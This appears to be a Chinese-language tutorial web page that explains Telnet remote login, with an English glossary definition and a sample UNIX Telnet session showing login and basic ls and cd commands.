Telnet用于Internet的遠(yuǎn)程登錄.它可以使用戶坐在已上網(wǎng)的電腦鍵盤(pán)前通過(guò)網(wǎng)絡(luò)進(jìn)入的另一臺(tái)電腦已上網(wǎng)的電腦,使它們互相連通.這種連通可以發(fā)生在同一房間里面的電腦或是在世界各范圍內(nèi)已上網(wǎng)的電腦.習(xí)慣上來(lái)說(shuō),被連通計(jì)算機(jī),并且為網(wǎng)絡(luò)上所有用戶提供服務(wù)的計(jì)算機(jī)稱之為服務(wù)器(Servers),而自己在使用的機(jī)器稱之為客戶機(jī)(Customer).一旦連通后,客戶機(jī)可以享有服務(wù)器所提供的一切服務(wù).用戶可以運(yùn)行通常的交互過(guò)程(注冊(cè)進(jìn)入,執(zhí)行命令),也可以進(jìn)入很多的特殊的服務(wù)器如尋找圖書(shū)索引.網(wǎng)上不同的主機(jī)提供的各種服務(wù)都可以被使用.
Telnet
(telnet) (n.) A terminal emulation program for TCP/IP networks such as the Internet. The Telnet program runs on your computer and connects your PC to a server on the network. You can then enter commands through the Telnet program and they will be executed as if you were entering them directly on the server console. This enables you to control the server and communicate with other servers on the network. To start a Telnet session, you must log in to a server by entering a valid username and password. Telnet is a common way to remotely control Web servers.
Telnet命令
Telnet用于Internet的遠(yuǎn)程登錄.它可以使用戶坐在已上網(wǎng)的電腦鍵盤(pán)前通過(guò)網(wǎng)絡(luò)進(jìn)入的另一臺(tái)電腦已上網(wǎng)的電腦,使它們互相連通.這種連通可以發(fā)生在同一房間里面的電腦或是在世界各范圍內(nèi)已上網(wǎng)的電腦.習(xí)慣上來(lái)說(shuō),被連通計(jì)算機(jī),并且為網(wǎng)絡(luò)上所有用戶提供服務(wù)的計(jì)算機(jī)稱之為服務(wù)器(Servers),而自己在使用的機(jī)器稱之為客戶機(jī)(Customer).一旦連通后,客戶機(jī)可以享有服務(wù)器所提供的一切服務(wù).用戶可以運(yùn)行通常的交互過(guò)程(注冊(cè)進(jìn)入,執(zhí)行命令),也可以進(jìn)入很多的特殊的服務(wù)器如尋找圖書(shū)索引.網(wǎng)上不同的主機(jī)提供的各種服務(wù)都可以被使用.
使用Telnet的最簡(jiǎn)單的方法是在命令行鍵入:
%telnet remote-computer-name(or IP)
這里使用的是UNIX系統(tǒng)的C shell,因?yàn)槊畹倪x擇是百分號(hào)"%".如果使用的是其他的計(jì)算機(jī)系統(tǒng)(比如:Dos,VAX/VMS,Macintosh)命令,只在細(xì)節(jié)上有些差異,而在本質(zhì)上是大同小異的,下面舉一個(gè)基本的Telnet使用例子:
telnet porky.math.ukans.edu
Trying 129.237.128.11...
Connected to porky.math.ukans.edu.
Escape character is &#39;&#39;^]&#39;&#39;.
SunOS UNIX(porky)
login:wl
password:xxxxxxx
Last Login: Tue Mar 28 05:35 from ns.bta.net.cn
SunOS Release 4.1.3_U1(SLIPPERY1) #3: Sun Nov 20 23:47:23 CST 1999
No match.
if:Expression syntax.
porky/serv/wl%ls
hello
porky/serv/wl%
porky/serv/wl%cd/
porky/%ls
Mail/ dev/ home/ mnt/ sbin/
usr/
News/ domain/ home1/ net/ serv/
var/
Record/ etc/ kadb* pcfs/ sys@
vmunix*
bin@ export/ lib@ print tmp/
boot gofer/ lost+found/ record tmp_mnt/
porky/%
上述的例子是用Telnet尋找一個(gè)叫做porky.math.ukans.edu的遠(yuǎn)程計(jì)算機(jī).在找到這臺(tái)計(jì)算機(jī)以后,已上網(wǎng)的擁護(hù)的計(jì)算機(jī)就成為它的一個(gè)終端.這時(shí)屏幕出現(xiàn)的對(duì)話與用戶在host上連接的終端一樣。用戶必須注冊(cè)進(jìn)入(login)和注銷推出(logout).在login后,可給出任何適合遠(yuǎn)程系統(tǒng)的命令,因?yàn)?porky.math.ukans.edu"面向的是UNIX系統(tǒng),所有標(biāo)準(zhǔn)的UNIX命令(想ls和pwd)都可以使用.當(dāng)用戶從遠(yuǎn)程系統(tǒng)退出時(shí),也就從Telnet退出,便可以運(yùn)行自己的本地系統(tǒng).實(shí)際上,Telnet是一個(gè)可以注冊(cè)進(jìn)入遠(yuǎn)程計(jì)算機(jī)系統(tǒng)的工具.
掃碼付費(fèi)即可復(fù)制
X